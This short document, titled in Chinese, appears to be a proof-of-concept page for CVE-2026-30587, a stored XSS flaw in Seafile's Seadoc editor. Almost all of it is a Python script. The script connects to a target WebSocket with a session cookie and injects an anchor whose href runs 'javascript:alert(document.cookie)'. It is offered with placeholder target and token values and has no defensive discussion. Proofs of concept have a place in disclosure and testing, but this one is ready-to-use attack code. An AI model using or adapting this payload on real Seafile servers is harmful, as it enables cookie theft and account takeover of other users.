CVE-2026-30587 Seafile Seadoc编辑器存储型XSS漏洞

import asyncio import websockets import json # Proof of Concept for CVE-2026-30587 # This script simulates sending a malicious WebSocket message to the Seadoc editor # to inject JavaScript via the href attribute of an anchor tag. async def send_payload(ws_url, session_token): headers = { "Cookie": f"seahub_session={session_token}" } async with websockets.connect(ws_url, extra_headers=headers) as websocket: # Construct a malicious document update payload # Injecting 'javascript:alert(1)' into an href attribute malicious_payload = { "type": "doc_update", "content": [ { "type": "anchor", "attrs": {"href": "javascript:alert(document.cookie)"}, "text": "Click Me" } ] } print("[+] Sending malicious payload...") await websocket.send(json.dumps(malicious_payload)) response = await websocket.recv() print(f"[+] Server response: {response}") if __name__ == "__main__": # Replace with actual target WebSocket URL and valid session token TARGET_WS = "wss://target-seafile-server/seadoc/ws/" SESSION_TOKEN = "valid_user_session_token" asyncio.run(send_payload(TARGET_WS, SESSION_TOKEN))